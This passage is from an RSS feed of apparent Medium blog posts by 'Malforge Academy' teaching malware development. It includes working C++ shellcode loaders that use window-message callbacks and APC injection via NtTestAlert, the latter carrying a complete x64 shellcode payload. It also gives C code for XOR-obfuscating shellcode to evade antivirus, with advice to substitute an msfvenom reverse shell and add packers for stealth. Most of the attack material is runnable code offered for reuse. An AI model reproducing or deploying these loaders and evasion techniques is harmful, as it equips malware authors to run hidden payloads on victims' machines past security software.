library.</li><li><strong>-static-libstdc++</strong>: Statically links the C++ standard library.</li><li><strong>-DUNICODE -D_UNICODE</strong>: Enables Unicode Windows APIs for compatibility.</li><li><strong>-mwindows</strong>: Links the Windows GUI subsystem for window creation.</li><li><strong>shellcode_injection.cpp</strong>: Source file (adjust if named differently).</li><li><strong>-o shellcode_injection.exe</strong>: Output executable name.</li></ul><h4>Steps</h4><ol><li>Save the C++ code as shellcode_injection.cpp.</li><li>Run the command in a Kali Linux terminal.</li><li>Transfer shellcode_injection.exe to a 64-bit Windows system (e.g., Windows 10/11).</li><li>Run the executable to test (displays a MessageBox and window).</li></ol><h4>Notes</h4><ul><li>Ensure the shellcode is 64-bit (as provided) for compatibility.</li><li>Test in a Windows VM, as Kali cannot run the .exe natively.</li><li>Use -g for debugging symbols if needed: -g -fdiagnostics-color=always.</li></ul><h3>POC (Test In VsCode)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fefF-Iey_N-CEfIBiEcPoA.png" /><figcaption>POC</figcaption></figure><h3>Code Explanation</h3><h4>Header and Shellcode</h4><pre>#include &lt;windows.h&gt;<br><br>// Simple shellcode to display a MessageBox (64-bit)<br>unsigned char shellcode[] = { ... };</pre><ul><li><strong>&lt;windows.h&gt;</strong>: Provides Windows API functions for windows, messaging, and memory.</li><li><strong>Shellcode</strong>: A simplified 64-bit payload to call MessageBoxA(&quot;Hello World&quot;, &quot;Test&quot;, 0, 0). It:</li><li>Sets up the stack and parameters.</li><li>Calls MessageBoxA (placeholder address).</li><li>Includes strings &quot;Hello World\0&quot; and &quot;Test\0&quot;.</li><li>Note: The MessageBoxA address is a placeholder; a real implementation would resolve it dynamically.</li></ul><h4>Window Procedure (WndProc)</h4><pre>LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {<br>    static LPVOID shellcodeAddr = NULL;<br>    if (msg == WM_USER + 100) {<br>        shellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br>        if (!shellcodeAddr) {<br>            MessageBoxW(hwnd, L&quot;Failed to allocate memory&quot;, L&quot;Error&quot;, MB_OK | MB_ICONERROR);<br>            return 0;<br>        }<br>        memcpy(shellcodeAddr, shellcode, sizeof(shellcode));<br>        ((void(*)())shellcodeAddr)();<br>        VirtualFree(shellcodeAddr, 0, MEM_RELEASE);<br>        shellcodeAddr = NULL;<br>        return 0;<br>    }<br>    if (msg == WM_DESTROY) {<br>        PostQuitMessage(0);<br>        return 0;<br>    }<br>    return DefWindowProcW(hwnd, msg, wParam, lParam);<br>}</pre><p><strong>Purpose</strong>: Processes messages and executes the shellcode.</p><p><strong>Key Elements</strong>:</p><ul><li>static LPVOID shellcodeAddr = NULL: Tracks allocated memory.</li><li>if (msg == WM_USER + 100): Executes shellcode for the custom message.</li><li>VirtualAlloc: Allocates executable memory.</li><li>memcpy: Copies the shellcode.</li><li>((void(*)())shellcodeAddr)(): Runs the shellcode.</li><li>VirtualFree: Frees memory to prevent leaks.</li><li>WM_DESTROY: Handles window closure, posting WM_QUIT.</li><li>DefWindowProcW: Processes unhandled messages.</li></ul><h4>Main Function</h4><pre>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {<br>    // Register window class<br>    WNDCLASSW wc = { 0 };<br>    wc.lpfnWndProc = WndProc;<br>    wc.hInstance = hInstance;<br>    wc.lpszClassName = L&quot;InjectWindow&quot;;<br>    if (!RegisterClassW(&amp;wc)) {<br>        MessageBoxW(NULL, L&quot;Failed to register window class&quot;, L&quot;Error&quot;, MB_OK | MB_ICONERROR);<br>        return 1;<br>    }<br><br>    // Create window<br>    HWND hwnd = CreateWindowExW(0, L&quot;InjectWindow&quot;, L&quot;Shellcode Demo&quot;, WS_OVERLAPPEDWINDOW,<br>                               CW_USEDEFAULT, CW_USEDEFAULT, 400, 300,<br>                               NULL, NULL, hInstance, NULL);<br>    if (!hwnd) {<br>        MessageBoxW(NULL, L&quot;Failed to create window&quot;, L&quot;Error&quot;, MB_OK | MB_ICONERROR);<br>        return 1;<br>    }<br><br>    // Show window<br>    ShowWindow(hwnd, nCmdShow);<br>    UpdateWindow(hwnd);<br><br>    // Trigger shellcode<br>    SendMessageW(hwnd, WM_USER + 100, 0, 0);<br><br>    // Message loop<br>    MSG msg = { 0 };<br>    while (GetMessageW(&amp;msg, NULL, 0, 0)) {<br>        TranslateMessage(&amp;msg);<br>        DispatchMessageW(&amp;msg);<br>    }<br><br>    return (int)msg.wParam;<br>}</pre><p><strong>WinMain</strong>: Uses the GUI entry point for compatibility with -mwindows.</p><p><strong>Window Setup</strong>:</p><ul><li>Registers a window class (InjectWindow) with WndProc.</li><li>Creates a 400x300 window titled “Shellcode Demo”.</li></ul><p><strong>Display</strong>: Shows and paints the window.</p><p><strong>Shellcode Trigger</strong>: Sends WM_USER + 100 to execute the shellcode.</p><p><strong>Message Loop</strong>: Keeps the window responsive.</p><p><strong>Return</strong>: Exits with the message loop’s result.</p><h3>How It Works</h3><p>The POC’s execution flow:</p><ol><li><strong>Initialization</strong>:</li></ol><ul><li>Registers a window class with WndProc.</li><li>Creates a window instance.</li></ul><p><strong>2. Window Display</strong>:</p><ul><li>The window appears and is painted.</li></ul><p><strong>3. Shellcode Execution</strong>:</p><ul><li>SendMessageW sends WM_USER + 100.</li><li>WndProc:</li><li>Allocates executable memory.</li><li>Copies the shellcode.</li><li>Executes it, displaying a MessageBox.</li><li>Frees the memory.</li></ul><p><strong>4. Message Processing</strong>:</p><ul><li>The message loop handles messages, including WM_DESTROY for closure.</li></ul><p><strong>5. Exit</strong>:</p><ul><li>The program terminates when the window is closed.</li></ul><p><strong>6. Output</strong>:</p><ul><li>A window appears.</li><li>A MessageBox shows “Hello World” with title “Test”.</li><li>The window remains open until closed.</li></ul><h3>Security Implications</h3><h4>Malicious Use</h4><ul><li><strong>Malware</strong>: Executes payloads like spyware.</li><li><strong>Exploits</strong>: Targets GUI applications.</li><li><strong>Red Teaming</strong>: Simulates attacks.</li></ul><h4>Why Effective</h4><ul><li><strong>Stealth</strong>: Mimics legitimate GUI behavior.</li><li><strong>Control</strong>: Precise execution timing.</li><li><strong>Versatility</strong>: Applicable to any GUI process.</li></ul><h3>Conclusion</h3><p>Shellcode injection via window callbacks is a robust technique that exploits the Windows messaging system for arbitrary code execution. The new POC, using a MessageBox shellcode, demonstrates this with simplicity, stability, and proper cleanup. It’s an excellent learning tool for understanding Windows internals and exploit techniques. Always test in controlled environments, as unauthorized use is illegal.</p><h4>Malforge Group</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b33f7646c2bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XOR Obfuscation: Hiding Shellcode from Basic AV]]></title>
            <link>https://sid4hack.medium.com/xor-obfuscation-hiding-shellcode-from-basic-av-65940817d35a?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/65940817d35a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[xor]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 07:13:10 GMT</pubDate>
            <atom:updated>2025-03-06T07:13:10.805Z</atom:updated>
            <content:encoded><![CDATA[<p>“XOR Obfuscation: Concealing Shellcode from Antivirus Detection”</p><p>Hello Everyone,</p><p>Welcome to <a href="https://malforge-group.in/"><strong>Malforge Group’s</strong></a> first deep dive into <strong>offensive security!</strong> Today, we’re breaking down a classic yet effective technique: <strong>XOR obfuscation.</strong> If you’ve ever wanted to slip your shellcode past basic antivirus (AV) scanners, this is your starting point. We’ll walk through a fully functional <strong>C code demo</strong>, explain how it works, and show you why it’s a red teamer’s best friend. <strong>Let’s hack into it!</strong></p><p><a href="https://malforge-group.in/">Malforge Academy</a></p><h4>Why XOR Obfuscation?</h4><p>Antivirus software often relies on <strong>signature-based detection</strong> — scanning for known patterns in malicious code. Shellcode, like a <strong>reverse shell payload, can trigger these signatures.</strong> XOR obfuscation scrambles your shellcode by applying a simple bitwise operation with a<strong> key,</strong> making it <strong>unrecognizable to basic AV while still functional when decoded.</strong> It’s lightweight, beginner-friendly, and a solid step into malware development.</p><h4>The Code: Fully Functional Demo</h4><p>Here’s the complete, working code we’ll use. This takes a dummy shellcode (<strong>NOPs for safety</strong>),<strong> XORs it to hide it</strong>, and then decodes it back — ready for real-world tweaking.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int main() {<br>    // Dummy shellcode (NOPs - replace with your payload)<br>    unsigned char shellcode[] = &quot;\x90\x90\x90\x90\x90\x90\x90\x90&quot;;<br>    char key = 0x55; // XOR key (change this for your use)<br>    int len = strlen((char*)shellcode);<br><br>    // Print original shellcode<br>    printf(&quot;Original Shellcode: &quot;);<br>    for(int i = 0; i &lt; len; i++) {<br>        printf(&quot;\\x%02x&quot;, shellcode[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br>    // Obfuscate with XOR<br>    for(int i = 0; i &lt; len; i++) {<br>        shellcode[i] ^= key;<br>    }<br><br>    // Print obfuscated shellcode<br>    printf(&quot;Obfuscated Shellcode: &quot;);<br>    for(int i = 0; i &lt; len; i++) {<br>        printf(&quot;\\x%02x&quot;, shellcode[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br>    // Decode it back (same XOR operation)<br>    for(int i = 0; i &lt; len; i++) {<br>        shellcode[i] ^= key;<br>    }<br><br>    // Print decoded shellcode<br>    printf(&quot;Decoded Shellcode: &quot;);<br>    for(int i = 0; i &lt; len; i++) {<br>        printf(&quot;\\x%02x&quot;, shellcode[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br>    return 0;<br>}</pre><h4>How It Works</h4><ol><li><strong>Shellcode Setup</strong>: We use <strong>\x90 (NOPs)</strong> as a placeholder. In a real scenario, replace this with your payload (e.g., a reverse shell).</li><li><strong>XOR Obfuscation</strong>: Each byte of the shellcode is XORed with a key (<strong>0x55</strong>). XOR flips bits — e.g., <strong>\x90 ^ 0x55 = \xc5 — scrambling the pattern.</strong></li><li><strong>Reversibility</strong>: XOR is its own inverse. Apply the same key again, and you’re back to the original — e.g., <strong>\xc5 ^ 0x55 = \x90.</strong></li><li><strong>Output</strong>: The code prints the original, obfuscated, and decoded versions to prove it works.</li></ol><h4>Output</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eTelkxynQOghjTmcb2KAfw.png" /></figure><h4>Why It Beats Basic AV</h4><p>Basic AV scans for static signatures (e.g., <strong>\x90\x90 sequences</strong>). <strong>After XOR, it’s \xc5\xc5 — a different beast. </strong>Unless the AV knows <strong>your key (0x55)</strong> and actively decodes it (rare for lightweight scanners), you’re under the radar. Advanced AV might catch runtime behavior, but that’s a story for another post!</p><h4>Taking It Further</h4><ul><li><strong>Randomize the Key</strong>: Hardcode 0x55 for now, but in production, generate it dynamically.</li><li><strong>Real Payload</strong>: Swap NOPs for a reverse shell (e.g., from msfvenom). Test in a VM — don’t brick your box!</li><li><strong>Layer It</strong>: XOR is step one. <strong>Add encryption or packers for extra stealth.</strong></li></ul><h4>Get Involved</h4><p>Try this code yourself — <strong>compile it, tweak the key, or throw in your own shellcode.</strong></p><h4><a href="https://malforge-group.in/">Malforge Group</a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65940817d35a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Development Part 13: Code Injection via thread hijacking]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://sid4hack.medium.com/malware-development-part-13-code-injection-via-thread-hijacking-0bbb03becdf6?source=rss-e69e584e945------2"><img src="https://cdn-images-1.medium.com/max/1918/1*mLSNyOs0zQXGWUz7v1p4qA.png" width="1918"></a></p><p class="medium-feed-snippet">&#x201C;Hijacking your process&#x200A;&#x2014;&#x200A;strictly for educational purposes.&#x201D;</p><p class="medium-feed-link"><a href="https://sid4hack.medium.com/malware-development-part-13-code-injection-via-thread-hijacking-0bbb03becdf6?source=rss-e69e584e945------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://sid4hack.medium.com/malware-development-part-13-code-injection-via-thread-hijacking-0bbb03becdf6?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/0bbb03becdf6</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[code-injection]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Mon, 27 Jan 2025 08:32:01 GMT</pubDate>
            <atom:updated>2025-01-27T08:32:01.503Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Malware Development Part 12: APC Injection Via NtTestAlert]]></title>
            <link>https://sid4hack.medium.com/malware-development-part-12-apc-injection-via-nttestalert-8beb70834dff?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/8beb70834dff</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[injection]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Tue, 24 Dec 2024 08:48:23 GMT</pubDate>
            <atom:updated>2024-12-24T08:48:23.164Z</atom:updated>
            <content:encoded><![CDATA[<p>“Precision Payload: Exploring APC Injection via NtTestAlert”</p><p>Hello everyone,</p><p>Today, we’ll delve into the fascinating world of <strong>APC (Asynchronous Procedure Call) Injection</strong> using the <strong>NtTestAlert</strong> technique. This method leverages an officially undocumented Native API, <strong>NtTestAlert</strong>, alongside the Win32 API <strong>QueueUserAPC</strong> to execute shellcode within a local process. Let’s unravel the mechanics behind this advanced approach.</p><h4>Malforge Group Update</h4><p>Before we dive into this blog, I want to share some exciting updates about my <strong>Malforge Group </strong>startup. First off, I deeply appreciate your patience and support throughout this journey.</p><p>I’m thrilled to announce that the website is almost ready —<strong> 90% complete</strong> — and we’re planning to launch it on New Year’s Day! The <strong>Cloud Architect</strong>, <strong>DevOps</strong>, and <strong>Terraform</strong> courses are fully developed and polished, while the <strong>Cybersecurity</strong> and <strong>Malware Development</strong> courses are currently undergoing final refinements.</p><p>The delay is due to a temporary shortage of professional team members handling multiple tasks, but rest assured, we’re working diligently to ensure everything is ready soon. Thank you for your continued support — it means the world to us!</p><blockquote>Our Mission: Beyond Education, Beyond Boundaries</blockquote><h4>What is <strong>NtTestAlert</strong>?</h4><p><strong>NtTestAlert</strong> is a system call intrinsic to the Windows alert mechanism. It plays a pivotal role in the execution of pending APCs (Asynchronous Procedure Calls) queued for a thread. Before a thread begins executing its assigned Win32 start address, it invokes <strong>NtTestAlert</strong> to process any APCs awaiting execution.</p><p>This makes <strong>NtTestAlert</strong> highly significant in advanced APC injection techniques used in Windows programming and cybersecurity research. Below, we’ll explore its importance and role in facilitating this injection mechanism.</p><h4>Why <strong>NtTestAlert</strong> Matters in APC Injection</h4><p>In the context of injecting malicious or test code into another process, <strong>NtTestAlert</strong> offers three key functionalities:</p><ol><li><strong>Triggering the Alert Mechanism:</strong><br><strong>NtTestAlert</strong> belongs to the Native API (found in <em>Ntdll.dll</em>), which helps manage a thread’s alert state. This function is crucial for delivering and executing APCs, ensuring the success of the injection process.</li><li><strong>Ensuring Thread Alertability:</strong><br>For an APC to execute, the target thread must be in an “alertable” state. By invoking <strong>NtTestAlert</strong>, we can force a thread into this alertable condition, enabling queued APCs to run seamlessly.</li><li><strong>Facilitating Code Injection:</strong><br><strong>NtTestAlert</strong> is strategically employed during APC injection to:</li></ol><ul><li>Activate a thread’s alertable state.</li><li>Prompt the execution of queued APCs.</li><li>Execute shellcode or other injected code within the target process context.</li></ul><h3>Putting It Together: The Role of NtTestAlert in APC Injection</h3><ul><li><strong>Win32 API</strong>: The process starts with <strong>QueueUserAPC</strong>, which queues a procedure (like malicious shellcode) for execution in the context of a target thread.</li><li><strong>NtTestAlert</strong>: Before the thread begins its normal operation, <strong>NtTestAlert</strong> ensures any pending APCs are processed, effectively running the injected code.</li></ul><h3>Let’s move to the practical knowledge :</h3><h4>Practical 1:</h4><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br>#include &lt;vector&gt;<br>#include &lt;memory&gt;<br><br>// Custom exception for error handling<br>class InjectionException : public std::exception {<br>private:<br>    std::string message;<br>public:<br>    InjectionException(const std::string&amp; msg) : message(msg) {}<br>    const char* what() const noexcept override { return message.c_str(); }<br>};<br><br>// Function type definitions<br>using NtTestAlertFunc = NTSTATUS(NTAPI*)();<br><br>class PayloadInjector {<br>private:<br>    // Shellcode payload - spawns calc.exe <br>    std::vector&lt;unsigned char&gt; payload = {<br>        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,<br>        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,<br>        0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,<br>        0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,<br>        0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,<br>        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,<br>        0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,<br>        0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,<br>        0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,<br>        0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,<br>        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,<br>        0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,<br>        0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,<br>        0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,<br>        0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,<br>        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,<br>        0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,<br>        0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,<br>        0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,<br>        0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,<br>        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,<br>        0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,<br>        0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00<br>    };<br><br>    LPVOID payloadMemory;<br>    HANDLE currentProcess;<br>    HANDLE currentThread;<br>    NtTestAlertFunc NtTestAlert;<br><br>    void resolveAPIs() {<br>        HMODULE hNtdll = GetModuleHandleA(&quot;ntdll&quot;);<br>        if (!hNtdll) {<br>            throw InjectionException(&quot;Failed to get handle to ntdll.dll&quot;);<br>        }<br><br>        NtTestAlert = reinterpret_cast&lt;NtTestAlertFunc&gt;(<br>            GetProcAddress(hNtdll, &quot;NtTestAlert&quot;)<br>        );<br>        if (!NtTestAlert) {<br>            throw InjectionException(&quot;Failed to resolve NtTestAlert function&quot;);<br>        }<br>    }<br><br>    void allocateMemory() {<br>        payloadMemory = VirtualAlloc(<br>            nullptr,<br>            payload.size(),<br>            MEM_COMMIT | MEM_RESERVE,<br>            PAGE_EXECUTE_READWRITE<br>        );<br>        if (!payloadMemory) {<br>            throw InjectionException(&quot;Failed to allocate memory for payload&quot;);<br>        }<br>    }<br><br>    void writePayload() {<br>        SIZE_T bytesWritten;<br>        if (!WriteProcessMemory(<br>            GetCurrentProcess(),<br>            payloadMemory,<br>            payload.data(),<br>            payload.size(),<br>            &amp;bytesWritten<br>        ) || bytesWritten != payload.size()) {<br>            throw InjectionException(&quot;Failed to write payload to memory&quot;);<br>        }<br>    }<br><br>    void queueAPC() {<br>        PTHREAD_START_ROUTINE apcRoutine = reinterpret_cast&lt;PTHREAD_START_ROUTINE&gt;(payloadMemory);<br>        if (!QueueUserAPC(<br>            reinterpret_cast&lt;PAPCFUNC&gt;(apcRoutine),<br>            GetCurrentThread(),<br>            0<br>        )) {<br>            throw InjectionException(&quot;Failed to queue APC&quot;);<br>        }<br>    }<br><br>public:<br>    PayloadInjector() {<br>        currentProcess = GetCurrentProcess();<br>        currentThread = GetCurrentThread();<br>    }<br><br>    void inject() {<br>        try {<br>            resolveAPIs();<br>            allocateMemory();<br>            writePayload();<br>            queueAPC();<br>            <br>            // Execute APC<br>            NTSTATUS status = NtTestAlert();<br>            if (status != 0) {<br>                throw InjectionException(&quot;NtTestAlert failed&quot;);<br>            }<br>        } catch (const InjectionException&amp; e) {<br>            std::cerr &lt;&lt; &quot;Injection failed: &quot; &lt;&lt; e.what() &lt;&lt; std::endl;<br>            cleanup();<br>            throw;<br>        }<br>    }<br><br>    void cleanup() {<br>        if (payloadMemory) {<br>            VirtualFree(payloadMemory, 0, MEM_RELEASE);<br>            payloadMemory = nullptr;<br>        }<br>    }<br><br>    ~PayloadInjector() {<br>        cleanup();<br>    }<br>};<br><br>int main() {<br>    try {<br>        std::unique_ptr&lt;PayloadInjector&gt; injector = std::make_unique&lt;PayloadInjector&gt;();<br>        injector-&gt;inject();<br>        std::cout &lt;&lt; &quot;Injection successful&quot; &lt;&lt; std::endl;<br>        return EXIT_SUCCESS;<br>    } catch (const std::exception&amp; e) {<br>        std::cerr &lt;&lt; &quot;Error: &quot; &lt;&lt; e.what() &lt;&lt; std::endl;<br>        return EXIT_FAILURE;<br>    }<br>}</pre><p>The provided code is an implementation of <strong>Asynchronous Procedure Call (APC)-based process injection</strong> in C++.</p><h3>Objective</h3><p>The main goal of this code is to inject and execute a payload (a shellcode) into the current thread’s address space using the <strong>APC mechanism</strong>. Specifically:</p><ol><li><strong>Allocate memory for shellcode</strong>: Memory is allocated in the current process where the payload (shellcode) will reside.</li><li><strong>Write shellcode into allocated memory</strong>: The shellcode, which spawns calc.exe, is written to this allocated memory.</li><li><strong>Queue an APC to execute the shellcode</strong>: The APC mechanism is used to schedule the execution of the shellcode.</li><li><strong>Trigger the APC execution</strong>: The NtTestAlert function is used to trigger the queued APC, thereby executing the shellcode.</li></ol><h3>Core Parts of the Code</h3><h4>1. Shellcode (Payload):</h4><ul><li>The payload vector contains raw shellcode bytes that, when executed, will spawn the calc.exe process.</li><li>This payload is directly written into memory and executed later.</li></ul><h4>2. Core Classes and Functions:</h4><p><strong>PayloadInjector class</strong>:</p><ul><li>Manages the injection workflow.</li><li>Handles memory allocation, payload writing, and APC queuing.</li><li>Resolves necessary Windows API functions for execution.</li></ul><p><strong>Key Methods</strong>:</p><ul><li>resolveAPIs(): Retrieves the address of the NtTestAlert function from ntdll.dll.</li><li>allocateMemory(): Allocates executable memory for the payload using VirtualAlloc.</li><li>writePayload(): Copies the shellcode into the allocated memory using WriteProcessMemory.</li><li>queueAPC(): Schedules the payload for execution by queuing it as an APC routine.</li><li>cleanup(): Releases allocated memory during cleanup or in case of failure.</li></ul><p><strong>inject() Function</strong>:</p><ul><li>Combines all the steps to perform the injection.</li><li>Executes the APC queue using NtTestAlert.</li></ul><h4>3. Exception Handling:</h4><ul><li>The InjectionException class handles and reports errors during different stages of the injection process, ensuring proper cleanup and error messages.</li></ul><h4>4. APC Mechanism:</h4><ul><li>An APC is a function that can be scheduled to execute in the context of a specific thread.</li><li>This code uses QueueUserAPC to schedule the shellcode execution and NtTestAlert to trigger the APC.</li></ul><h3>Workflow and Functionality</h3><h4>Step-by-Step Execution</h4><ol><li><strong>Initialization</strong>:</li></ol><ul><li>The PayloadInjector object is instantiated, setting up internal handles (currentProcess, currentThread) for the current process and thread.</li></ul><p><strong>2. Resolving APIs</strong>:</p><ul><li>resolveAPIs():</li><li>Retrieves the handle to ntdll.dll.</li><li>Resolves the address of NtTestAlert, which is a low-level system function used to trigger APC execution.</li></ul><p><strong>3. Memory Allocation</strong>:</p><ul><li>allocateMemory():</li><li>Allocates executable and writable memory (PAGE_EXECUTE_READWRITE) in the process&#39;s address space for the payload.</li><li>If memory allocation fails, an exception is thrown.</li></ul><p><strong>4. Writing the Payload</strong>:</p><ul><li>writePayload():</li><li>Copies the shellcode from the payload vector into the allocated memory.</li><li>Uses WriteProcessMemory to perform the memory write operation.</li></ul><p><strong>5. Queueing the APC</strong>:</p><ul><li>queueAPC():</li><li>Schedules the shellcode as an APC routine using QueueUserAPC.</li><li>The payloadMemory pointer is cast to PTHREAD_START_ROUTINE and added to the APC queue of the current thread.</li></ul><p><strong>6. Executing the APC</strong>:</p><ul><li>NtTestAlert():</li><li>Forces the current thread to execute the queued APC routine.</li><li>If successful, the shellcode is executed, spawning calc.exe.</li></ul><p><strong>7. Cleanup</strong>:</p><ul><li>If any errors occur during the process, cleanup() releases the allocated memory to avoid memory leaks.</li><li>The destructor of PayloadInjector ensures cleanup upon object destruction.</li></ul><h4>Key Execution Flow in main():</h4><ol><li>The PayloadInjector object is created using std::make_unique.</li><li>The inject() method is called to perform the injection.</li><li>On success, “Injection successful” is printed; otherwise, error messages are displayed.</li></ol><p><strong>Let’s go to compile our code:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H2_9ulnJKussDDZVXnfhIg.png" /></figure><p><strong>Now execute the compile apc_V2.exe :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BVy_TKBuusJauJo-ovynSw.png" /></figure><p>I hope guys you like this blog and learn something new and by following the above steps you will also able to do this practical in your system : )</p><p>More Basics to Advanced techniques we will gonna cover in our Malware Development Courses , Pre-register now to secure your spot and receive an exclusive discount on your chosen industry training courses! Complete our <strong>Google Form</strong> to indicate your interest, and enjoy early access benefits when courses launch.</p><p><strong>Google Form: Use either of the two links below to fill out the form.</strong></p><ol><li><a href="https://docs.google.com/forms/d/e/1FAIpQLSdBYStywoNG7LcLsgNGhxiQ7TeGTLulfC05kGGjf0PlWI4JaQ/viewform?usp=sf_link">https://docs.google.com/forms/d/e/1FAIpQLSdBYStywoNG7LcLsgNGhxiQ7TeGTLulfC05kGGjf0PlWI4JaQ/viewform?usp=sf_link</a></li></ol><p>2. <a href="https://forms.gle/9dn58yuJPQZTdmsf6">https://forms.gle/9dn58yuJPQZTdmsf6</a></p><h4>RED TEAM</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8beb70834dff" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>